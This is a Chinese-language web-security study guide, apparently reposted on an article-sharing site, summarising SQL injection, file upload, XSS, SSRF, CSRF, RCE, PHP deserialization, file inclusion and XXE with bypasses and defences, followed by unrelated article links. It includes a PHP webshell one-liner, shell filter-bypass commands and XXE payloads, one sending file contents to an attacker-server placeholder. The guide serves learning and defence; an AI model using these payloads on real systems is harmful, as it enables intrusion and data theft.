漏洞分析大全

一. SQL注入原理的种类?防御呢?预编译原理?


原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判
断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等
修复:使用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等
预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的
模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代
入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成
字符串进行查询处理,因此杜绝了sql注入的产生。

二.文件上传

 文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。
  通过来说文件上传功能是没有问题的,主要是服务器如何对上传的文件如何进行处理。
  若WEB未对用户上传的文件进行有效的审查,若存在恶意用户对其上传一句话木马,从而实现控制WEB网站的目的。

种类

1.前端Js

2.htaccess

   AddType application/x-httpd-php .png

3.MIME类型

Content-Type:image/png

4.文件头判断

GIF89a

5、黑名单-过滤不严
无递归,pphphp
 
6、黑名单-过滤不严
系统大小写敏感属性
 
7、低版本GET-%00截断
自动解码一次
/var/www/html/upload/x.php%00
 
8、低版本POST-%00截断
手工解码一次
../upload/x.php%00 二次解码
 
9、黑名单-过滤不严
php3
 
10、逻辑不严-条件竞争
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
上传不断发包
请求不断发包
 
11、二次渲染
先搞个正常图片,上传导出渲染后的图片
对比保留部分,在保留部分添加后门代码
最后利用提示的文件包含执行图片后门代码
 
11、函数缺陷
move_uploaded_file 1.php/.
 
12、代码审计-数组绕过
 

防御

1、执行权限
文件上传后存储目录不给执行权限
2、解码还原
数据做存储,解析固定(文件后缀名无关)
文件上传后利用编码传输解码还原
 
#文件-存储方案-分站存储&OSS对象
1、分站存储
upload.xiaodi8.com 上传
images.xiaodi8.com 存储
2、OSS对象
Access控制-OSS对象存储-Bucket对象

3.XSS 漏洞简介


​ XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

分类 反射型 存储型 dom型

绕过方式

1.空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

2.引号过滤

3.括号过滤

4.关键字过滤
大小写绕过

双写绕过

5.字符串拼接绕过

6.编码绕过

7.过滤url地址

8.伪协议

防御:

字符过滤,实体化编码,http_only,CSP防护,WAF拦截等

四、SSRF是什么?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

危害:

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。.

6.各个协议调用探针:http,file,dict,ftp,gopher等

http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21

绕过方式

1、限制为http://www.xxx.com 域名时(利用@)

2.采用短网址绕过

3.采用进制转换

127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.

4.利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1

5.利用[::]

可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]

6.利用句号

127。0。0。1 >>> 127.0.0.1

7、CRLF 编码绕过

%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入

2、常见限制

1.限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com

2.限制请求IP不为内网地址

当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

3.限制请求只为http协议

(1)采取302跳转
(2)采取短地址

SSRF漏防御
通常有以下5个思路:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

五 csrf

什么是CSRF?
CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

种类分为:

get 和 post

利用:

绕过0:规则匹配绕过问题(代码逻辑不严谨) 1、<meta name="referrer" content="no-referrer"> 2、http://xx.xx.xx.xx/http://xx.xx.xx.xx

绕过1:配合文件上传绕过(严谨使用同源绕过)

绕过2:配合存储XSS绕过(严谨使用同源绕过)

绕过0:将Token参数值复用(代码逻辑不严谨)

绕过1:将Token参数删除(代码逻辑不严谨)

绕过2:将Token参数值置空(代码逻辑不严谨)

防御

1、验证码

2、在请求地址中添加 token 并验证

3、在 HTTP 头中自定义属性并验证

4、验证 HTTP Referer 字段

六.RCE

RCE代码执行:引用脚本代码解析执行 -RCE命令执行:脚本调用操作系统命令 漏洞函数: 1.PHP: PHP代码执行函数: eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等 PHP命令执行函数: system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等 2.Python: eval exec subprocess os.system commands  3.Java: Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数, 但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

代码执行: 脚本——java,php,python 产生——Web源码、中间件平台、其他环境 检测——白盒 代码审计 检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点 防御——敏感函数禁用、变量过滤或固定、WAF产品 命令执行: 系统——Linux、Windows 产生——web源码、中间件平台、其他环境 检测——白盒 代码审计 检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点 防御——敏感函数禁用、变量过滤或固定、WAF产

1)关键字过滤:

1、过滤flag关键字

通配符

flag=fl* cat fl* cat ?la*

2、转义符号

ca\t /fl\ag

cat fl''ag

2、1使用空变量$*和$@,$x,${x}绕过

ca$*t fl$*ag ca$@t 

fl$@ag ca$5t 

f$5lag ca${2}t

f${2}lag

3、拼接法 a=fl;b=ag;cat$IFS$a$b

4、反引号绕过:

cat `ls`

5、编码绕过:

echo 'flag' | base64

cat `echo ZmxhZwo= | base64 -d`

6、组合绝活

touch "ag

" touch "fl\\"

touch "t \\"

touch "ca\\"

ls -t >shell

sh shell

#  \指的是换行

#  ls -t是将文本按时间排序输出

#  ls -t >shell  将输出输入到shell文件中

#  sh将文本中的文字读取出来执行

7、异或无符号(过滤0-9a-zA-Z)

异或:rce-xor.php & rce-xor.py

或:rce-xor-or.php & rce-xor-or.py

(2)过滤函数关键字

1、内敛执行绕过(system)

echo `ls`;

echo $(ls);

?><?=`ls`;

?><?=$(ls);

3、过滤空格

{cat,flag};   ${IFS$;   $IFS$9;   <;   <>;

3)无回显利用 1、直接写个文件访问查看 2、直接进行对外访问接受

RCE漏洞危害

        ①继承Web服务器程序权限,去执行系统命令;

        ②继承Web服务器权限,读写文件;

        ③反弹shell;

        ④控制整个网站甚至是服务器;

RCE漏洞防护

        ①对用户的输入作严格的过滤,如白名单策略;

        ②尽量不使用容易产生漏洞的危险函数;

        ③保证用户不用控制危险函数的传参;

七.php反序列化

1.概述
        反序列化是将序列化得到的字符串转化为一个对象的过程;

        反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关;

        反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串

2.常见PHP魔术方法?- 对象逻辑

 __construct(): //当对象new的时候会自动调用

__destruct()://当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

__toString(): //把类当作字符串使用时触发

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。 __callStatic(): //在静态上下文中调用不可访问的方法时触发

__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数

__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__set_state(),调用var_export()导出类时,此静态方法会被调用

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

3.构造pop

方法

1. __wakeup()方法漏洞

2. O:+6绕过正则

3. 引用

4. 对类属性不敏感

5. 大写S当十六进制绕过

6.php类名不区分大小写

危害

  • 任意代码执行
  • 数据泄露
  • 拒绝服务攻击
  • 权限提升  

防御

  • 不要反序列化来自不可信来源的数据。
  • 使用反序列化过滤器来限制反序列化的数据类型。
  • 保持PHP应用程序和库的最新状态。
  • 使用安全编码实践。

 八.文件包含

1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

危害:

远程代码执行:攻击者可能能够执行任意代码,这可能导致服务器被完全控制。
敏感数据泄露:攻击者可能访问应用程序的数据库和文件系统,获取敏感信息。
网站完全被控制:通过注入恶意文件或脚本,攻击者可以控制网站的行为。
DDoS攻击:通过滥用文件包含漏洞,攻击者可以发起资源耗尽攻击,影响网站的正常运行。

利用

4、利用 本地利用思路:

1、配合文件上传

2、无文件包含日志

3、无文件包含SESSION

4、无文件支持伪协议利用

防御:

1、使用str_replace等方法过滤掉危险字符

2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)

3、php版本升级,防止%00截断

4、对上传的文件进行重命名,防止被读取

5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。

6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化

九XEE

漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。

Content-type:text/xml application/xml

利用

把语句放到请求包

回显

1、读取文件:

<?xml version="1.0"?>

<!DOCTYPE xiaodi [

<!ENTITY test SYSTEM  "file:///d:/1.txt">

]>

<user><username>&test;</username><password>xiaodi</password></user>

2.无回显

1.带外测试

1、读取文件:

<?xml version="1.0"?>

<!DOCTYPE xiaodi [

<!ENTITY test SYSTEM  "file:///d:/1.txt">

]>

<user><username>&test;</username><password>xiaodi</password></user>

2、外部引用实体dtd:

<?xml version="1.0" ?>

<!DOCTYPE test [     <!ENTITY % file SYSTEM "http://127.0.0.1:8081/xiaodi.dtd">

    %file;

]>

<user><username>&send;</username><password>xiaodi</password></user> xiaodi.dtd 

无回显

OOB

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx/test.dtd"

>

%remote;

%all;

]>

危害

文件读取,命令执行,DOS攻击,SSRF

防御

XXE漏洞归根结底在于XML文档解析引入外部实体,禁止加载外部实体。

使用安全的libxml依赖库,版本在2.9以上的版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/595043.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Android getevent命令详细分析

在调试Android 的输入事件时&#xff0c;经常使用 “getevent -lrt” 命令&#xff0c;来确认驱动上报数据是否正常。从源码的角度来详细的分析一下getevent 这个程序。 首先用ls命令来看一下getevent lrwxr-xr-x 1 root shell 7 2023-11-20 10:08 system/bin/getevent -> …

学习java中的interface接口

1.了解接口 java提供了一个关键字interface&#xff0c;用这个关键字我们可以定义出一个特殊的结构&#xff1a;接口 格式&#xff1a; public interface 接口名{ //成员变量&#xff08;常量&#xff09; //成员方法&#xff08;抽象方法&#xff09; } 注意&#xff1a;接…

cmake进阶:宏定义

一. 简介 前面学习了 CMakeLists.txt语法中是如何定义函数&#xff0c;本文继续学习 cmake中的宏定义。 二. cmake进阶&#xff1a;宏定义 cmake 提供了定义宏的方法&#xff0c;cmake 中函数 function 和宏定义 macro 在某种程度上来说是一样的&#xff0c;都是创建一段有…

Linux 内核简介

操作系统简介 操作系统概念&#xff1a;操作系统处于硬件和应用程序的中间层&#xff0c;控制和管理整个计算机系统的硬件和软件资源&#xff0c;提供给用户和其他软件方便的接口和环境&#xff0c;它是计算机系统的最基本的系统软件。 操作系统功能: 处理机管理存储器管理设…

硬件四舍五入模式

文章目录 舍入模式1. 就近舍入2.向0舍入3.远离0舍入4. 向正无穷舍入5. 向负无穷舍入6.向负无穷舍入7. ROUND TO MATH参考资料 舍入模式 为了减小舍入操作对推理结果的精度影响&#xff0c;AI芯片有时会支持多种舍入模型(round mode)供编程人员选择&#xff0c;常见模式如下表&…

websevere服务器从零搭建到上线(二)|Linux上的五种IO模型

文章目录 阻塞 blocking非阻塞 non-blockingIO复用 IO multiplexing信号驱动 signal-driven异步 asynchronous拓展知识 看过上篇文章英国基本能理解本文五张图的内容websevere服务器从零搭建到上线&#xff08;一&#xff09;&#xff5c;阻塞、非阻塞、同步、异步 本文要能够在…

IP地址类型

这些IP地址中有IPv4和IPv6地址,以及一些是链路本地地址(通常用于本地网络中的通信),而另一些则是可以被路由的公共或私有IP地址。 这里是您提供的IP地址的一些简要说明: IPv6 链路本地地址:以fe80:开头的地址是IPv6链路本地地址。这些地址仅用于同一链路(如以太网段或无…

Verilog中求两个数的差值

根据输入信号a,b的大小关系&#xff0c;求解两个数的差值&#xff1a;输入信号a,b为8bit位宽的无符号数。如果a>b&#xff0c;则输出a-b&#xff0c;如果a≤b&#xff0c;则输出b-a。 接口信号图如下&#xff1a; 代码如下&#xff1a; &#xff08;CSDN代码块不支持Veril…

SpringBoot 使用 @RequiredArgsConstructor(onConstructor_ = @Autowired) 报错解决

若使用 RequiredArgsConstructor(onConstructor_ Autowired) 启动报错&#xff0c;或者爆红可以使用以下方法解决 1. 安装或启用 Lombok插件 2. 检查 Lombok 版本 3. 若 onConstructor_ 爆红&#xff0c; 可能是IDEA中文软件包冲突 4. 若以上还是不行&#xff0c;可以添加…

数据结构-二叉树-二叉搜索树

一、概念 二叉搜索树又称二叉排序树&#xff0c;它或者是一棵空树&#xff0c;或者具有以下性质的二叉树&#xff1a; 若它的左子树不为空&#xff0c;则左树上所有节点的值都小于根节点的值。 若它的右子树不为空&#xff0c;则右子树上所有节点的值都大于根节点的值。 它…

27.leetcode---随机链表的复制(Java版)

题目链接: https://leetcode.cn/problems/copy-list-with-random-pointer/description/ 题目解析: 使用map来解这个题就比较方便了 代码: 测试:

手机异地组网方案?

现代社会&#xff0c;随着信息技术的快速发展&#xff0c;人们之间的通信需求也日益增加。尤其是在异地工作、异地学习、异地旅游等情况下&#xff0c;我们需要实现不同地区间的快速组建局域网&#xff0c;以解决电脑与电脑、设备与设备、电脑与设备之间的信息远程通信问题。本…

深度学习中的注意力机制一(Pytorch 15)

一 简介 灵长类动物的视觉系统接受了大量的感官输入&#xff0c;这些感官输入远远超过了大脑能够完全处理的程度。然而&#xff0c; 并非所有刺激的影响都是相等的。意识的聚集和专注使灵长类动物能够在复杂的视觉环境中将注意力引向感 兴趣的物体&#xff0c;例如猎物和天敌。…

C语言 函数递归

函数递归 一、递归是什么&#xff1f; 递归是学习C语⾔函数绕不开的⼀个话题&#xff0c;那什么是递归呢&#xff1f; 递归其实是⼀种解决问题的⽅法&#xff0c;在C语⾔中&#xff0c;递归就是函数⾃⼰调⽤⾃⼰。 写⼀个史上最简单的C语⾔递归代码&#xff1a; #include <…

量水堰计使用手册:流量监测的关键工具

在水资源管理、环境监测、工业应用中&#xff0c;精确测量流体流量是至关重要的。量水堰计是一种流行且有效的工具&#xff0c;用于监测开放水道中的水流量。本文将详细介绍量水堰计的原理、安装、使用方法及常见问题解决策略&#xff0c;旨在帮助用户更好地理解和运用该设备。…

Python 机器学习 基础 之 构建第一个机器学习应用

Python 机器学习 基础 之 构建第一个机器学习应用 目录 Python 机器学习 基础 之 构建第一个机器学习应用 一、简单介绍 二、第一个机器学习测试应用介绍&#xff1a;鸢尾花分类 三、第一个机器学习测试应用 &#xff1a;前置环境&#xff0c;知识点介绍 jupyter notebo…

案例精选 | 江苏省徐州医药高等职业学校网络流量纵深防护项目

江苏省徐州医药高等职业学校&#xff0c;自1985年建校以来&#xff0c;始终站在医药教育的前沿。作为江苏省药品监督管理局直属的高等职业学校&#xff0c;该校不仅是江苏省医药行业协会的重要成员&#xff0c;还是中国职业技术教育学会医药专业委员会的副主任单位。 学校拥有…

C++:重写和重载

重写&#xff08;Override&#xff09;和重载&#xff08;Overload&#xff09;是面向对象编程中常用的两个概念&#xff0c;它们虽然都涉及到方法的定义&#xff0c;但是在实现和使用上有着不同的特点。 重写&#xff08;Override&#xff09;&#xff1a; 重写是指在子类中重…

Web安全研究(九)

知识星球 首先推荐一下我们的知识星球,以AI与安全结合作为主题,包括AI在安全上的应用和AI本身的安全; 加入星球你将获得: 【Ai4sec】:以数据驱动增强安全水位,涵盖内容包括:恶意软件分析,软件安全,AI安全,数据安全,系统安全,流量分析,防爬,验证码等安全方向。…

linux安装 mysql

环境&#xff1a;centOS8 一、安装 1 安装wget库 sudo yum -y install wget 2. 安装 mysql 换yum源 亲测成功&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; 换yum源 1.下载对应版本的repo文件 wget -O CentOS-Base.repo http://mirrors…
最新文章